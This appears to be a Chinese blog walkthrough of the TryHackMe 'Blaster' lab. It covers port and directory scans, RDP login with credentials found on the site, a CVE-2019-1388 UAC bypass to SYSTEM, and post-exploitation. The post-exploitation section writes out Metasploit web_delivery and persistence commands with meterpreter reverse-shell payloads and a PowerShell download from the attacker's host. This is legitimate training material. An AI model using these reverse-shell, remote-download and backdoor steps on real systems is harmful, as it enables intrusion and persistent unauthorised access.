【THM】Blaster-练习

本文相关的TryHackMe实验房间链接:https://tryhackme.com/room/blaster

本文介绍:针对实验靶机完成渗透操作。

image

部署靶机

在相关Tryhackme实验房间界面部署虚拟靶机。

注意:目标机器操作系统为Windows,可能需要几分钟才能成功启动。

获得目标初始访问权限

进行端口扫描

使用nmap对实验靶机进行端口扫描:

nmap -A -Pn -p- -T4 10.10.71.8

image

image

我们可以看到靶机上有 2 个打开的端口: 80/tcp 和 3389/tcp。

接着访问靶机的80端口上的web服务:10.10.71.8:80

image

目标站点的页面标题为: IIS Windows Server --站点首页是IIS默认页面。

答题

image

进行目录扫描

使用gobuster对目标站点进行目录爆破:

gobuster dir -u http://10.10.71.8/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

image

发现的隐藏目录为: /retro

答题

image

查找敏感信息

访问上一小节发现的隐藏目录:10.10.71.8/retro

image

我们发现了一个潜在的用户名: Wade

继续浏览目标站点,查看该网站的评论页面:

image

image

我们发现了可能为密码的信息:parzival

答题

image

使用凭据通过RDP登录靶机

由端口扫描结果可知目标开启了3389端口(RDP-远程登录服务),所以我们在成功获取 疑似用户登录凭据 的敏感信息之后,可以使用xfreerdp 或者Remmina尝试远程登录目标机器,此处选择使用xfreerdp进行RDP登录 。

xfreerdp /u:Wade /p:parzival /cert:ignore /v:10.10.71.8
#添加参数 /workarea 可使打开的远程窗口最大化

image

查看目标机用户Wade 桌面上的user.txt文件内容:

image

user.txt内容为:THM{HACK_PLAYER_ONE} 。

答题

image

进行权限提升

在完成RDP登录之后,我们查看用户的浏览器历史记录--以获取一些关键信息,我们发现用户曾访问过 CVE-2019-1388 相关页面。

image

用户查找过的CVE为:CVE-2019-1388

答题

image

接着查看用户桌面上的回收站,我们在回收站中发现了一个未完全删除的exe文件--此文件是进行 CVE-2019-1388 漏洞利用所必需的。

image

找到的可执行文件为:hhupd.exe

答题

image

接下来我们需要利用CVE-2019-1388漏洞 (此漏洞能够绕过UAC提权):

以 administrator 身份运行之前找到的 hhupd.exe 程序。

image

点击" show more" -> "show information about the publisher's certificate"

image

image

点击"VeriSign Commercial Software Publishers CA."

image

在和上图超链接所关联的Internet Explorer浏览器页面中依次选择settings →File →Save as 。

image

点击"OK"并继续(此处是预期的错误提示,忽略即可):

image

在文件名称(filename )一栏中,输入以下内容 C:\Winndows\System32 — 然后按下Enter键。

image

在\System32文件夹中查找 cmd.exe并接着按下Enter键。

image

成功打开新的终端,我们在终端界面运行whoami命令以查看当前的权限,然后继续查看管理员桌面文件夹下(C:\Users\Administrator\Desktop)的root.txt:

image

当前的权限为:nt authority\system

root.txt的内容为:THM{COIN_OPERATED_EXPLOITATION} 。

答题

image

后渗透阶段

现在我们已经彻底攻破了目标机器,接下来我们使用msf工具,以便我们可以获得一个远程 shell 以及持久性访问权限。

启动msf控制台msfconsole -q (-q参数,quiet--跳过提示语显示),选择msf模块:use exploit/multi/script/web_delivery

image

tips:目标设备存在远程文件包含漏洞或者命令注入漏洞,我们现在想在目标设备上加载shell,但不想在目标设备硬盘上留下任何shell文件信息,所以要让目标设备从远端服务器加载shell代码至内存执行;我们可以使用msf中的web_delivery模块,此模块支持在本地监听一个端口,目标机器一旦访问该端口就会读取该端口上的文件并尝试执行;msf 中的 web_delivery 脚本模块的主要优势是隐藏性比较强,服务器和有效负载都驻留在你的本地机器上,因此在执行攻击时 不会将任何内容写入到目标的磁盘中,从而降低了触发反病毒应用程序和其他防御程序的可能性。

使用options查看参数选项设置。

image

设置LHOST参数: set LHOST 10.10.228.31 (攻击机ip)

image

接下来我们设置PSH (Powershell) 为target,输入命令show targets查看可设置的目标,然后选择PSH对应的编号填充target设置:set target 2

image

设置要使用的payload,我们选择设置一个meterpreter反向shell的payload: set payload windows/meterpreter/reverse_http

image

最后我们执行此模块并选择将生成的会话作为作业运行:run -j

image

我们得到上图中的输出结果,然后我们将复制msf中的输出内容并粘贴到RDP窗口中的目标Windows cmd内,粘贴完内容后-在cmd中按下Enter键执行;我们在攻击机上会得到一个meterpreter会话,然后我们可以在攻击机中使用命令sessions查看所有的活动会话。

tips:可以将攻击机中的msf输出内容保存到一个txt文件中,然后传输该txt文件到目标机上。

#将msf的输出结果保存到shell.txt文件中
python -m http.server 9999 #在攻击机上执行命令 托管shell.txt文件

#在目标机中执行命令--传输攻击机上的shell.txt文件到目标机
powershell 
Invoke-WebRequest -Uri http://10.10.228.31:9999/shell.txt -OutFile C:\Users\Wade\Desktop\shell.txt
cmd
#接着复制shell.txt的内容 粘贴到cmd中并按下Enter键即可

image

image

image

我们可以选择并进入对应编号的会话环境:sessions 1

image

输入sysinfo命令可查看目标系统信息。

image

接下来我们将在msf进行会话持久化操作,我们选择输入命令 run persistence -X,其中的 -X 参数表示当目标系统启动时将自动启动代理。

注意:以上Meterpreter持久化脚本(run persistence -X)已弃用

我们应该使用以下命令:

bg #先将当前的Meterpreter会话后台化
sessions
use exploit/windows/local/persistence
set session 1 #将会话设置为我们刚才后台化处理的meterpreter会话
set LHOST 10.10.228.31 #将“ LHOST”参数设置为攻击机ip
set payload windows/meterpreter/reverse_tcp
run

image

在目标系统中留下后门程序后,我们需要创建一个msf监听器(use exploit/multi/handler),然后就可以在攻击机上等待接收一个反向shell并重新获得一个meterpreter会话。(目标系统在重启或者再次开机时--将会自动尝试连接到攻击机)

答题

image

posted @ 2023-03-15 09:13  Hekeatsll  阅读(107)  评论(0编辑  收藏  举报